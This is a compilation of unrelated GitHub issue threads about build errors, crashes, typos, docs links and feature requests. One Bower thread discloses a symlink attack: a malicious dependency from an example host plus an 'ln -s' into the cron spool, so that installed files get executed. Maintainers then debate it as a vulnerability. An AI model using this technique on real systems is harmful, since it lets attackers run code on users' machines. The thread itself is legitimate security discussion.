OpenSSL Failure trying to build Standalone Application

I am building on Ubuntu 18.0.4.
I ran into the same issues building on the Windows Subsystem for Linux, which btw, I generally ignored. I know you all do not really support it. Anyway, the error is basically that I'm missing OpenSSL which is not the case. I have installed libssl-dev. I also made sure to install Text::Template from cpan.
In file included from ../../src/include/Weave/Support/crypto/WeaveCrypto.h:88:0,
                 from ../../src/include/Weave/Support/crypto/HashAlgos.h:46,
                 from ../../src/include/Weave/Profiles/security/WeavePASE.h:42,
                 from ../../src/include/Weave/Core/WeaveSecurityMgr.h:36,
                 from ../../src/include/Weave/Core/WeaveCore.h:61,
                 from ../../src/include/Warm/Warm.h:80,
                 from /home/pacs/weave/openweave-core/src/warm/../../src/warm/WarmCore.cpp:26:
../../src/include/Weave/Support/crypto/WeaveRNG.h:33:2: error: #error "INVALID WEAVE CONFIG: OpenSSL RNG implementation enabled but OpenSSL not available (WEAVE_CONFIG_RNG_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
 #error "INVALID WEAVE CONFIG: OpenSSL RNG implementation enabled but OpenSSL not available (WEAVE_CONFIG_RNG_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
  ^~~~~
In file included from ../../src/include/Weave/Support/crypto/WeaveCrypto.h:89:0,
                 from ../../src/include/Weave/Support/crypto/HashAlgos.h:46,
                 from ../../src/include/Weave/Profiles/security/WeavePASE.h:42,
                 from ../../src/include/Weave/Core/WeaveSecurityMgr.h:36,
                 from ../../src/include/Weave/Core/WeaveCore.h:61,
                 from ../../src/include/Warm/Warm.h:80,
                 from /home/pacs/weave/openweave-core/src/warm/../../src/warm/WarmCore.cpp:26:
../../src/include/Weave/Support/crypto/AESBlockCipher.h:35:2: error: #error "INVALID WEAVE CONFIG: OpenSSL AES implementation enabled but OpenSSL not available (WEAVE_CONFIG_AES_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
 #error "INVALID WEAVE CONFIG: OpenSSL AES implementation enabled but OpenSSL not available (WEAVE_CONFIG_AES_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
  ^~~~~
In file included from ../../src/include/Weave/Profiles/security/WeavePASE.h:42:0,
                 from ../../src/include/Weave/Core/WeaveSecurityMgr.h:36,
                 from ../../src/include/Weave/Core/WeaveCore.h:61,
                 from ../../src/include/Warm/Warm.h:80,
                 from /home/pacs/weave/openweave-core/src/warm/../../src/warm/WarmCore.cpp:26:
../../src/include/Weave/Support/crypto/HashAlgos.h:49:2: error: #error "INVALID WEAVE CONFIG: OpenSSL hash implementation enabled but OpenSSL not available (WEAVE_CONFIG_HASH_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
 #error "INVALID WEAVE CONFIG: OpenSSL hash implementation enabled but OpenSSL not available (WEAVE_CONFIG_HASH_IMPLEMENTATION_OPENSSL == 1 && WEAVE_WITH_OPENSSL == 0)."
  ^~~~~
In file included from ../../src/include/Weave/Core/WeaveSecurityMgr.h:36:0,
                 from ../../src/include/Weave/Core/WeaveCore.h:61,
                 from ../../src/include/Warm/Warm.h:80,
                 from /home/pacs/weave/openweave-core/src/warm/../../src/warm/WarmCore.cpp:26:
../../src/include/Weave/Profiles/security/WeavePASE.h:47:2: error: #error "INVALID WEAVE CONFIG: PASE Config1 enabled but OpenSSL not available (WEAVE_CONFIG_SUPPORT_PASE_CONFIG1 == 1 && WEAVE_WITH_OPENSSL == 0)."
 #error "INVALID WEAVE CONFIG: PASE Config1 enabled but OpenSSL not available (WEAVE_CONFIG_SUPPORT_PASE_CONFIG1 == 1 && WEAVE_WITH_OPENSSL == 0)."
  ^~~~~
In file included from ../../src/include/Weave/Profiles/security/WeavePASE.h:51:0,
                 from ../../src/include/Weave/Core/WeaveSecurityMgr.h:36,
                 from ../../src/include/Weave/Core/WeaveCore.h:61,
                 from ../../src/include/Warm/Warm.h:80,
                 from /home/pacs/weave/openweave-core/src/warm/../../src/warm/WarmCore.cpp:26:
../../src/include/Weave/Support/crypto/EllipticCurve.h:36:2: error: #error "INVALID WEAVE CONFIG: OpenSSL ECC implementation enabled but OpenSSL not available (WEAVE_CONFIG_USE_OPENSSL_ECC == 1 && WEAVE_WITH_OPENSSL == 0)."
 #error "INVALID WEAVE CONFIG: OpenSSL ECC implementation enabled but OpenSSL not available (WEAVE_CONFIG_USE_OPENSSL_ECC == 1 && WEAVE_WITH_OPENSSL == 0)."

Also attaching the config.log which I read in another issue might be helpful as well.
config.log: https://pastebin.com/GwvZtAMX

It's strange that this isn't working for you, as I develop on a 18.04 system as well.
It would appear that configure is not finding the OpenSSL header files.  If you could provide some addition information it might be helpful.

Verify that the file /usr/include/openssl/aes.h exists on your system.

Cat the contents of /usr/lib/x86_64-linux-gnu/pkgconfig/openssl.pc and attach it here.

If either of those files are missing, then perhaps libssl-dev didn't get installed correctly on your system.

aes.h does exist.
Contents of openssl.pc
prefix=/usr
exec_prefix=${prefix}
libdir=${exec_prefix}/lib/x86_64-linux-gnu
includedir=${prefix}/include

Name: OpenSSL
Description: Secure Sockets Layer and cryptography libraries and tools
Version: 1.1.0g
Requires: libssl libcrypto

ok -- so I was just able to build. Just going to list a few things I have done -- not sure what actually helped really, but just for your info.
Set JAVA_HOME -- planning to experiment with the Android SDK and it wasn't set
make distclean
./configure
make all
That's all, but it seemed to work... so good news? 👍


Regression: Crash double clicking on GLB file in Beta 7

Godot version
v4.0.beta7.official.0bb1e89fb
System information
Windows 11,  Vulkan API 1.2.0, NVIDIA GeForce RTX 3070 Ti
Issue description
Double clicking on a GLB with a mesh crashes in Beta 7. The same file works fine in Beta 6 to open the advanced import popup.
Running Godot from the command line to get logs, I'm presented with the following:
./Godot_v4.0-beta7_win64.exe -v -e --path "C:\path\to\project"

...
glTF: Total animations '3'.
glTF: Converting spatial: game_rig
glTF: Creating mesh for: BaseLady
Illegal instruction

Steps to reproduce

Extract the attached GLB to a new project in Beta 7. baselady.zip
Double click on it.

Minimal reproduction project
See steps to reproduct above.

Duplicate of #69604


Clean up irc.rb

As requested by @dominikh, this is a clean-up of small errors (non-breaking) such as accidentally writing .first (essentially no-op) or running the same function twice instead of using the stored variable.

Merged as b91c8b5 – thanks.


Payment method is not coming auto selected on checkout while placing order for virtual and downloadable types product

Bug report
Title:
Payment method is not coming auto selected on checkout while placing order for virtual and downloadable types product
Issue Description:
payment method is not  coming pre selected while placing order of virtual and downloadable type products.
Preconditions
1. framework Version.0.1.8

Steps to reproduce:
1. step1: create either virtual or downloadable type product
2. step2: try to place order for same product.

Expected result:
one option should be auto selected
Actual result
no option is pre selected on payment page.

Framework version: 0.1.8
fixed


Add: wmutils-core

my first pull-request, please review carefully :)

The derivation is fine, I just pointed you a couple of things for your own knowledge.

Thank you, that is helpful. Can you elaborate on the "not needed"? the buildPhase and installPhase blocks?

Uhm interesting, the resulting dir is empty. Hope you tried this :) It should be installFlags = [ "PREFIX=$(out)" ]. Also I think that the PREFIX does little when doing make.

After using the @lethalman's suggestion, the output looks fine. Squashed, refactored a little, and pushed.

Ah, I forgot to hand over the authorship of the squash before pushing, I'm sorry (silly git merge --squash default).


French translation of strings

Fixes issue #32

Great work 👍

Hey @Darkpingouin I forgot to add your name in the Credits earlier. I have added it now 👍  38797cb3623dea75d413d6f6acd5e9e1a37dc693


GitHub Card renders incorrectly

Describe the bug
The GitHub card shotcode has started to render weirdly when I updated to 2.49.1, and now looks like this:

To Reproduce
Steps to reproduce the behavior:

Use Blowfish 2.49.1
Build

Expected behavior
It shouldn't rendered incorrectly
Desktop (please complete the following information):

OS: Arch Linux
Browser: Vivaldi
Version: 6.5.3206.50 (Stable channel) stable (64-bit)

Hugo & Blowfish versions
Hugo - 0.121.1
Blowfish - 2.49.1
Additional context
I'm using a GitHub Workflow for deployment: https://github.com/StandingPadAnimations/StandingPadAnimations.github.io/blob/main/.github/workflows/hugo.yaml

It renders correctly on the live version of the site. I would check any custom CSS or override ou are using.

It doesn't seem to be a CSS problem as it only breaks when passing --minify to Hugo, which my production build runs


Bug: Not possible to change storageKeyPrefix to anything other than 'ROCP_'

Steps To Reproduce
const authConfig: TAuthConfig = {
clientId: 'myClientID',
authorizationEndpoint: 'https://myAuthProvider.com/auth',
tokenEndpoint: 'https://myAuthProvider.com/token',
redirectUri: 'http://localhost:3000/',
scope: 'someScope openid',
onRefreshTokenExpire: (event: TRefreshTokenExpiredEvent) => window.confirm('Session expired. Refresh page to continue using the site?') && event.login(),
storageKeyPrefix: 'TEST_'
}
Does not work, it compiles with error: Type '"TEST_"' is not assignable to type '"ROCP_"'.
The current behavior
Even though storageKeyPrefixis settable, it is only possible to assign it to "ROCP_"
The expected behavior
It should be possible to set storageKeyPrefix to any string value.

Hi,
Thank you for reporting :slightly_smiling_face:
This is now fixed in v1.15.2

Hi! Thanks for this good package!
It seems there's still a hardcoded "ROCP_" here, though it's probably not very harmful.


bug: Too Many Notifications Upon Startup After Install

IDE Information
IntelliJ IDEA 2024.1.4 (Ultimate Edition)
Build #IU-241.18034.62, built on June 20, 2024
Licensed to Ted Young
Subscription is active until November 20, 2024.
Runtime version: 17.0.11+1-b1207.24 aarch64
VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o.
macOS 14.5
GC: G1 Young Generation, G1 Old Generation
Memory: 2048M
Cores: 12
Metal Rendering is ON
Non-Bundled Plugins:
socrates.tabshifter (0.34)
org.nik.presentation-assistant (1.0.15)
AceJump (3.8.19)
com.intellij.plugins.all_hallows_eve.colorscheme (241.14494.150)
com.intellij.spring.websocket (241.14494.158)
de.platon42.cajon (1.14)
PlantUML integration (7.10.1-IJ2023.2)
org.asciidoctor.intellij.asciidoc (0.42.2)
MetricsReloaded (1.12)
com.sourcegraph.jetbrains (6.0.3)
org.b333vv.metricstree (2024.1.0)
com.intellij.java.rareRefactorings (241.14494.158)
com.intellij.plugins.html.instantEditing (241.15989.10)
Kotlin: 241.18034.62-IJ
Bug Description
After installing for the first time, Cody creates many notifications (see screenshot) when the IDE was restarted with a bunch of projects re-open. I'm guessing it's 1 per project that I have open.
Cody: 6.0.3

Additional context
No response

@tedyoung is this still happening?

should be fixed on version 7 and above, feel free to reopen if it is not


Multiple image targets compiler issue

Hello @hiukim
I using 24 images on image targets compiler,
most image can track greate,
but there are two pictures in different order and one cannot appear.

I'm facing the same issue, I'm using 6 QR code images, 2 of them can not show up, 1 is a black card

does the two pictures look alike?

@hiukim
the two pictures not look alike,
but size is different.
Example：

800x600
600x800

I finally figured out a solution, it worked after resizing the two images to the same size.

I see. Thanks for letting us know.


Bug fix: src/01_data_processing/spectrogram.py

This line:
make_mel_dirs(base_dir, db, machine_type, machine_id)
should be added here. (If the directory exists, it won't be overwritten. But if it doesn't, then we need it in order to get it and then populate it with mel spectrograms.)
and then from line 125  to line 130 should go inside the get_mel_dirs function. (So basically inside the get_mel_dirs should check if the directory exists, then get the directory, and if it does not exist, then tell the user to first run  make_mel_dirs first.)

That was my original thinking.
But then, when I had this line in the script, it through an error message for directory not existing.
I believe it was, because because the newly created directory didn't sync to the drive quickly enough.
Hence I decided to create the directories separately and added the function get_mel_dirs for readability.
Could go with your suggestion and write a loop that checks if directory exists until it does - before proceeding to spectrogram creation.
Could hurt readability.

I see!
Having make_mel_dirs and get_mel_dirs separately is of course a good practice, I just wanted to call the make_mel_dirs inside the make_mels, rather than accounting the user to call it in advance. But now I understand the reason behind it.
GitHub has some pre-define labels for issues, bug was the closest one. I refer to anything that would be better to get fixed in the code as "bug", only for the lack of label, but you can define a dedicated label for it and add it here! Also, bug is not necessarily something that makes the code to crash or give wrong answer. If the code gives the responsibility to the user to remember to do something while that thing could have been done automatically, then there is a potential for the code to not function :) Anyways, I was not really picky about whether or not it's called bug ;)

On a related note,     wav_lists = [get_normal_wav_files(raw_data_dir, db, machine_type, machine_id),                  get_abnormal_wav_files(raw_data_dir, db, machine_type, machine_id)]. These two lines inside the make_mels function does not check whether the raw_data_dir is a valid path, does it?

No, they don't.
I believe lists will be empty if path is not valid. But I'm not sure.
Should I add a functionality checking this?

Hi Niklas,
It would be nice to add some kind of check. I was briefly checking that even if I give a wrong path to the raw dir, the program runs and in the end produces spectrograms that are blank (black colour with no lines).

Made changes to the respective scripts.
Closing this issue now.


Allow the docker registry to be configured when starting the docker daemon

Currently, the docker daemon assumes it'll push/pull images from the Docker Registry Hub (http://registry.hub.docker.com/). When hosting a private repository, it's a bit of a hassle to build an image, tag it using the hostname:port of the private registry and then push it.
In an environment where the public Docker Registry Hub will never be used it would be nice to configure the docker daemon to use a different host:port when doing push/pull to avoid having to specify a host:port when pushing and pulling.

The maven approach could be taken, where a different server is set as default which will forward all the requests to another repository (the central one) if it cannot resolve them locally.

closing as dup of https://github.com/docker/docker/issues/8329

There's also a new PR opened here https://github.com/docker/docker/pull/10411


cursor related

If i left the cursor at line 10 and if i change the tab that means from vs code to edge and again i come back to vs code then i need the cursor at line 10 but this is not available. When i come back to vs code and i started typing so it opens menus unwantedly.
Please do something for this issue or if you have any option please tell me.

/duplicate of #118306


Improve mypy docs.

Maybe the section on strings is too big. But I couldn't think of a good way to reduce its size.

Great, thanks for working on this!  I did some revisions to the first commit to be a bit more formal (and added a second about Zulip's mypy goals to the docs) and then merged this.  Thanks @sharmaeklavya2!

(I think it's fine to have a relatively detailed strings section; and honestly I'd be fine with adding more text that's examples of which data types should always be unicode)


Should use different hash for exchange and operators

Is your feature request related to a problem? Please describe.
We should use different hash for exchange and operators, both for streaming and batch queries. Otherwise, the hash collision rate in the operator's cache is likely to be much higher than expected.
Describe the solution you'd like
A simple solution is to use the current hash function to generate the u64 hash value, but use the prefix for Exchange and suffix for Operator, rather than using suffix everywhere (which is mainly done by hash mod 2^N)
Describe alternatives you've considered
Alternatively, you may also introduce a completed new hash function for the operators.
Additional context
You may search for keyword Crc32FastBuilder to find out all the usage of hashing.

Did not get this too much. Why use same hasher for exchange and other compute executor (for example, batch hash_agg) is bad? 🤔

Did not get this too much. Why use same hasher for exchange and other compute executor (for example, batch hash_agg) is bad? 🤔

Hashmap contains value shuffled from upstream. If we use the same hasher, the hash value in the operator hashmap is determined by the upstream dispatcher, in this case only part of the hash slot can be used.

Suppose data: [1, 2, 3, 4, 5, 6, 7, 8, 1, 2], assume the hash shuffled from exchange divide them into PU1: [1, 3, 5, 7, 1],  PU2: [2,4, 6, 8, 2].
If we adopt same Hasher for opeartor, we get 4 hash entries for both PU1 and PU2. What magic will be if we adopt different hasher? 🤔

Suppose data: [1, 2, 3, 4, 5, 6, 7, 8, 1, 2], assume the hash shuffled from exchange divide them into PU1: [1, 3, 5, 7, 1], PU2: [2,4, 6, 8, 2].
If we adopt same Hasher for opeartor, we get 4 hash entries for both PU1 and PU2. What magic will be if we adopt different hasher? 🤔

The problem is inside the hash table.  Half of these buckets are empty.
The problem will be much more severe with more parallel units. For example, if there are 32 parallel units, then 31/32 (96.875%) buckets are empty.

@skyzh Any progress?


refactor: migrate to gen/trace-mapping

Migrated<EMAIL_ADDRESS>to @jridgewell/gen-mapping/@jridgewell/trace-mapping.
These packages has better memory usage / speed / package install size.
benchmarks: https://github.com/jridgewell/trace-mapping#benchmarks, https://github.com/jridgewell/gen-mapping#benchmarks
@jridgewell/source-map's package install size is 585kB. (This package depends on @jridgewell/gen-mapping and @jridgewell/trace-mapping)
<EMAIL_ADDRESS>package install size is 789kB.

Closing this as it contains many conflicts and I personally don't believe "better memory usage / speed / package install size" is good to add without proper vetting and an issue to be fixed.
If changing libraries is something that you still believe to be a very useful thing, please create an issue or discussion, after agreed a PR can be created.


Is there support for named queries?

I think I'm probably missing things. But I cannot get them to work.
I have a named query:
    const FUND_BY_ID_ALL_ATTRIBUTES_QUERY: &str = r#"{
        query fundById($id: Int!) {
            fund(id: $id) {
                id,
                fundName,
                fundGoal,
            }
        }
    }"#;

And then a test:
...
let result = warp::test::request()
            .method("POST")
            .body(
                json!({
                    "query": FUND_BY_ID_ALL_ATTRIBUTES_QUERY,
                    "variables": {
                        "id": fund.id,
                    }
                })
                .to_string(),
            )
            .reply(&graphql_filter)
            .await;
...

And I cannot make it work.
If force the query as:
    const FUND_BY_ID_ALL_ATTRIBUTES_QUERY: &str = r#"{
        fund(id: 42) {
            id,
            fundName,
            fundGoal,
            votingPowerInfo,
            votingPowerThreshold,
            rewardsInfo,
            fundStartTime,
            fundEndTime,
            nextFundStartTime,
            chainVotePlans {
                id,
                chainVoteplanId,
                chainVoteStartTime,
                chainVoteEndTime,
                chainCommitteeEndTime,
                chainVoteplanPayload,
                chainVoteEncryptionKey,
                fundId
            },
        }
    }"#;

works like a charm.
This is the weir panic:
query had errors: [{"message":" --> 2:24\n  |\n2 |         query fundById($id: Int!) {␊\n  |                        ^---\n  |\n  = expected name","locations":[{"line":2,"column":24}]}]

You have an extra brace, and the following is a valid GraphQL query.
query fundById($id: Int!) {
            fund(id: $id) {
                id,
                fundName,
                fundGoal,
                },
            }
        }

@sunli829, sorry, the brace was a typo from reducing the example. Since the original query has more fields.

Named query is supported. There is only one possibility for this error. The query statement does not conform to the GraphQL specification.

I'll check it deeper. I may be missing something for sure. Thanks for the quick replay @sunli829 !! 😄


security_group.py TypeError

Receiving error in security_monkey/auditors/security_group.py.
TypeError: super(type, obj): obj must be an instance or subtype of type
Not sure if this has to do with the blocker on openstack.  I am only using this for AWS, but I understand there is dependences.
2017-11-08 17:40:18,930 INFO: Scheduler started [in build/bdist.linux-x86_64/egg/apscheduler/scheduler.py:574]
2017-11-08 17:40:18,930 INFO: Scheduler has been shut down [in build/bdist.linux-x86_64/egg/apscheduler/scheduler.py:606]
2017-11-08 17:40:22,591 INFO: Started thread pool with 25 core threads and 30 maximum threads [in build/bdist.linux-x86_64/egg/apscheduler/threadpool.py:52]
2017-11-08 17:40:23,454 ERROR: Scheduler Exception: super(type, obj): obj must be an instance or subtype of type [in /usr/local/src/security_monkey/security_monkey/scheduler.py:233]
2017-11-08 17:40:23,455 ERROR: Traceback (most recent call last):
  File "/usr/local/src/security_monkey/security_monkey/scheduler.py", line 212, in setup_scheduler
    rep = Reporter(account=account)
  File "/usr/local/src/security_monkey/security_monkey/reporter.py", line 38, in __init__
    self.all_monitors = all_monitors(account, debug)
  File "/usr/local/src/security_monkey/security_monkey/monitors.py", line 76, in all_monitors
    monitor = Monitor(watcher_class, account, debug)
  File "/usr/local/src/security_monkey/security_monkey/monitors.py", line 25, in __init__
    au = auditor_class([account.name], debug=debug)
  File "/usr/local/src/security_monkey/security_monkey/auditors/security_group.py", line 42, in __init__
    super(SecurityGroupAuditor, self).__init__(accounts=accounts, debug=debug)
TypeError: super(type, obj): obj must be an instance or subtype of type
 [in /usr/local/src/security_monkey/security_monkey/scheduler.py:234]

I haven't seen this bug yet.  (If you found this issue because you're running into the same problem, could you add a quick "me too" so I know how to prioritize?  Hopefully it won't get too carried away.)
I'm going to try and work on the openstack bug and then I'll circle back to this one.

It is, OpenStackSecurityGroupAuditor inherits from SecurityGroupAuditor, its an issue with the module load order, I removed OpenStackSecurityGroupAuditor in fix PR until I can figure out how to address.

I just merged #861. I'm going to re-deploy and see if I run into further problems.

I just did a clean clone on AWS and running. Note, it needs pip install cloudaux[openstack] on AWS, I will open another issue to merge in the ImportError catch

Thank you sir, do I need to rebuild static for this as well or will just recloning the deploy branch work?

A reclone or maybe just a pull on your recent clone. Not sure if by static you mean the UI code, which was not affected.

Hey @ekelson-bcove - The biggest change to the UI recently was in my ELB/ALB Auditor PR.  The only UI change in that PR was to some of the dropdowns.  So, rebuild the static folder if you want those dropdowns to be up to date.

This appears fixed

The issue was that my openstack auditor, in the openstack subdir, was also named "security_group.py", if I renamed uniquely, it loads without issue. Will submit a PR to re-enable the openstack security group auditor.

Awesome.  Thanks @mstair


Corrected "T.Put_Line" to "TIO.Put_Line"

Text below the example used T.Put_Line, but the example renames to TIO.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Fix NPE in obsolete dartdoc deletion.

Fixes #2175

That makes sense, can we leave a comment why we have this that way... And
can we document in the model that old entries upon which we still rely
might not have this attribute?
Then we also need to search the entire codebase to make sure we never
assume it's not null...
Or we could consider removing the entries and either not have docs for
these packages or regenerate the docs..
My point is, lets aim to have a consistent state on datastore... We can do
this workaround and file an issue to follow-up and clean up the datastore
too.
This must be old versions or dart 1.x packages?
On Fri, 5 Apr 2019, 16.09 István Soós<EMAIL_ADDRESS>wrote:

@isoos commented on this pull request.
In app/lib/dartdoc/backend.dart
https://github.com/dart-lang/pub-dartlang-dart/pull/2182#discussion_r272604789
:

@@ -296,7 +296,9 @@ class DartdocBackend {
if (index >= 0) {
final entry = completedList[index];
completedList.removeAt(index);

     versions.remove(Version.parse(entry.runtimeVersion));

     if (entry.runtimeVersion != null) {

I think a tool would only duplicate this logic (e.g. we want to preserve
the latest serving version, even if it does not have a runtimeVersion).
While it would be nice to have it as a separate tool, I think the overhead
to write and test it does not really provide that much value.
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/dart-lang/pub-dartlang-dart/pull/2182#discussion_r272604789,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAJI5FkWDdT-6SVxMusSIj34tSzh5Heiks5vd1j_gaJpZM4ceSva
.

Good points! I've updated the code the use the "epoch" runtimeVersion if the json file is missing it. That would protect us from NPEs, and we can still decide later if/when we want to remove the documentation for such packages.


fix: chrome.tabs.group maybe error

When there is a large amount of tags, the following situations may occur
Unchecked runtime.lastError: Tabs can only be moved to and from normal windows.

I found that chrome.tabs.group sometimes requires the windowId parameter.


Upgrading from TSD to Typings cannot find module.

I'm working to compile a simple .ts file called : proxy.ts. I am getting the following errors :

Steps to Reproduce
Here are my files :

typings.json

-tsconfig.json

-Gulp task for building:

-proxy.ts ( file to be compiled ):

-Folder structure:

I tried both manually switching to typings as in a new project and using the upgrade functionality. Both methods yield the same resault.

@roby2001 I think you also mentioned this on the chat where you got a response, and then also on StackOverflow - it's easier for someone to help for you provide one location to respond. As I mentioned in the chat, I'd recommend you narrow down your use-case and a create debuggable use-case when working with something new. I know the issue off the top of my head, but it's only because I have also had this issue. It's not related in any way to Typings, but is gulp-typescript.
All you need to do is look at your gulpfile. It's getting all TypeScript files but ignoring all typings. Therefore, of course you're getting compilation errors. gulp-typescript is not using tsconfig.json for files.


Fix typo

1. Why is this change necessary?
It isn't.
2. What does this change do, exactly?
Fix a typo.
3. Describe each step to reproduce the issue or behaviour.
Read the docs.
4. Please link to the relevant issues (if any).
¯\_(ツ)_/¯
5. Checklist

[ ] I have written tests and verified that they fail without my change
[x] I have squashed any insignificant commits
[x] I have written or adjusted the documentation according to my changes
[ ] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

please combine with #717


Refactor Synce space...

...into the HTMLRenderer space, combining duplicate functions, and making all functions work on APLDOM and HTMLRenderer.

Fixed


t_ship_hold_locked message

If i dclick a t_ship_hold_locked item i get "You can't think of a way to use that item" instead of "The items is locked" or "That is locked".
Also i get this errors on sphere loading
Loading scripts/core/messages.scp
ERROR:(messages.scp,481)Setting not used message override named 'msg_gmpage_canceled'
ERROR:(messages.scp,482)Setting not used message override named 'msg_gmpage_notified'
ERROR:(messages.scp,483)Setting not used message override named 'msg_gmpage_qnum'
ERROR:(messages.scp,485)Setting not used message override named 'msg_gmpage_rec'
ERROR:(messages.scp,486)Setting not used message override named 'msg_gmpage_update'
This messages are on the script X pack.
Tested on last Windows version with clean save and script pack.

Fix Sent, i can't reproduce the other error from messages.scp as i don't get them.


Fixing Broken links

Some links in these files are broken,
this PR fixes those links

These links are fine. Our static site generator, Hugo, performs the following mappings:

A markdown file is converted into an index.html file in a directory w/ the same name. For example, /path/to/some-k8s-topic.md becomes /path/to/some-k8s-topic/index.html. Consequently, you can reference just the directory as the link, i.e. /path/to/some-k8s-topic/.
Contents of /static/ are placed in /. For example, /static/images/docs/pre-ccm-arch.png becomes https://kubernetes.io/images/docs/pre-ccm-arch.png.
When a site visitor is viewing English language content, the contents of /content/en/ are placed in /. For example, /content/en/docs/concepts/architecture/cloud-controller.md becomes https://kubernetes.io/docs/concepts/architecture/cloud-controller/.


How to set AsyncPostBackTimeout value dynamically

In MvcReportViewer.aspx, we have ScriptManager. I would like set value to AsyncPostBackTimeout dynamically. Any help?
For your information, I am using ASP.NET MVC5

Please update nuget package to v.0.8.3


Remove defunct sanityinc/disable-indent-guide

Hello:
This configuration seems to no longer use indent-guide.
Thanks.
BTW: I recently found that there is not very good indent-guide plugin in Emacs.
Another point to ask is... Why is the name of the hook lispy?

Another point to ask is... Why is the name of the hook lispy?

"lispy" == "like lisp". This is not just used for Lisp, but also Emacs Lisp, Clojure, Scheme.


bower_components can be a symlink

Trudy is in control of the projects top-level directory and creates a symlink from ./bower_components
{
  "name": "malicious",
  "dependencies": {
    "root": "https://example.com/trudy/evil-crontab.git"
  }
}

ln -s /var/spool/cron/crontabs/ bower_components
git add bower_components --force
...

That will replace contents of /var/spool/cron/crontabs/ and install all dependencies to this directory, what makes her being in control of user cronjobs.

What is the issue in bower? This just seems like a way to download a script. The malicious activity is linking the file

Bower follows the symlink and installs the script to a subdirectory of /var/spool/cron/crontabs/. Cron would then go ahead and execute any script included.

I think this issue is invalid. bower can only write where system permissions allow it to. If it's able to write to cron, the vulnerability lies with poorly implemented permissions. The solution is to run bower as a non-administrative/root user, that does not have permission to write to critical system paths

There's a bunch of other directories you don't want anybody inject files to. The example picked in this issue expects Bower to be running as root, that's true. But what if the target is a Windows autostart folder, ~/Applications on OSX or just a PHP file at the wrong place?
Bower follows the symlink and puts files in there, so in my opinion it's responsible for not impacting the system outside of the desired target directory.

So, there's already a flag required to run bower as root, and I think that's about as responsible as bower should be. You're running as root, so the potential for abuse is going to be present in a wide variety of ways. The core problem is not bower in your described case, it's poorly implemented permissions, and no package manager should be responsible for that.

Sorry for picking such a bad example that requires root, but I'm pretty confident to be able to infect a majority of development systems (that do not run bower as root) with this issue too. In general I don't think it's a safe to allow a package manager to write file outside the desired location.
(Btw. I didn't want to leave information that can directly be use as exploit here)

@gronke, I don't think you followed what @tannerjfco was explaining.. User accounts are sandboxed by their permissions, so you should install your modules and components using the same account you plan to run your scripts with.
Since you're talking about access to /var/spool/cron/crontabs/, is it safe to assume you've had problems in the past trying to install components without using root..?
Regardless of that point, I agree with Tanner, these are signs of nothing more than a poorly implemented permissions structure. Which is configured way before you even get to the point of running any processes like npm.

The above example was really misleading. You do not need root to damage a system. Depending on your operating system, shells used, etc. files within your home directory can be executed. But it's not only limited to that - also overriding configuration files can cause evil in the second step.
We should file a bug at https://bugreport.apple.com/ if the default permissions on OSX are a bad choice. :smirk_cat: The question in this issue is whether Bower should allow to write files outside bower_components/ or it's own caches.

I made a mistake in Bower 1.6.2 and published Bower that didn't allow for bower_components to be a symlink (it crashed in such case). We've got reports from users that intentionally used symlink to re-use it between deploys. This "feature" is also explicitly supported by npm (it even creates node_modules symlink inside symlinked directory, to preserve directory structure.
I agree with @patrickkettner and @tannerjfco that the act of creating bower_components symlink to sensitive location means pretty much that attacker can modify anything he wants in filesystem anyway. If you run bower as root, it's an issue by itself. We can't help when attacker modifies e.g. scripts fields in .bowerrc. You should never run bower as root.
Given all this I'm closing this issue as "wontfix". I may reconsider when npm changes its behavior.
Thank you :)

A flag that allows to follow symlinks explicitly would have been my preferred option. I agree a symlink is neat under certain circumstances. Will create PoC and also file the issue at npm if that helps.
Automated build setups can be protected by checking for symlinks before running Bower, checking out repos from the wild manually needs some attention from the user.
Thanks @ZaLiTHkA , @tannerjfco and @sheerun for your time.

While Bower is ostensibly for managing code that runs in the browser, that's not always the case.  You could craft an evil package that runs "unit tests" in Node that then write to wherever the user permissions allow.  That would be much more discrete than dropping all of your Bower dependencies in a directory.


Allow for MARKET orders with Binance

Hello!
I started to use this and am loving it so far.  I noticed that market orders were not implemented with Binance.  Could you please add this functionality?
Thanks
Ryan

A market order is simply a limit order with an aggressive buy or sell
price. This can be dangerous especially if the order book is thin.

Jeff

On Wed, Dec 13, 2017 at 9:38 PM fikal<EMAIL_ADDRESS>wrote:

Hello!
I started to use this and am loving it so far. I noticed that market
orders were not implemented with Binance. Could you please add this
functionality?
Thanks
Ryan
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/jjxtra/ExchangeSharp/issues/7, or mute the thread
https://github.com/notifications/unsubscribe-auth/ABNoGFtUzBPczvn1_h2ybcoTZi-JTc3Dks5tAKY3gaJpZM4RBiTe
.

--
Jeff Johnson
CEO / CTO, Digital Ruby, LLC


https://keep3r.network/   register as a keeper is not working

To generate error:
0. https://keep3r.network/

Connect MetaMask wallet.
Click "add" below Profile box.
Click "add" with input 0 (this is the only input available)   => error

@yaronm73 Do you still have an issue with this?
I am unable to replicate it.

Closing this due to no response.


Use types in iteration vars in MVVM discovery

Ex: for object_list in ...
Discovery used to use types as a prefix in maps and lists, and we don't anymore. Consider reintroducing that functionality.

cf. https://github.com/googleapis/toolkit/pull/696#discussion_r85785593


Get Started

Welcome to GitHub and Starter project. You can use this checklist of tasks to help you get started on Ruby.
Please work through the tasks on the list and check them off as you go. If you have any trouble use /raisehand to seek help.
Happy Learning!!
First steps

[ ] Understand Git and GitHub, see guide
[ ] Ruby, see guide

Get the app working

[ ] Open your code in codespace, click on the code button  on GitHub, click on OPEN WITH CODESPACES. Learn more
[ ] Open the terminal and setup project

Click on the menu icon and select terminal -> new terminal
type this in the terminal
        bundle install or bundle

[ ] Run the project, run this command in the terminal
       rails s or rails server

Make changes

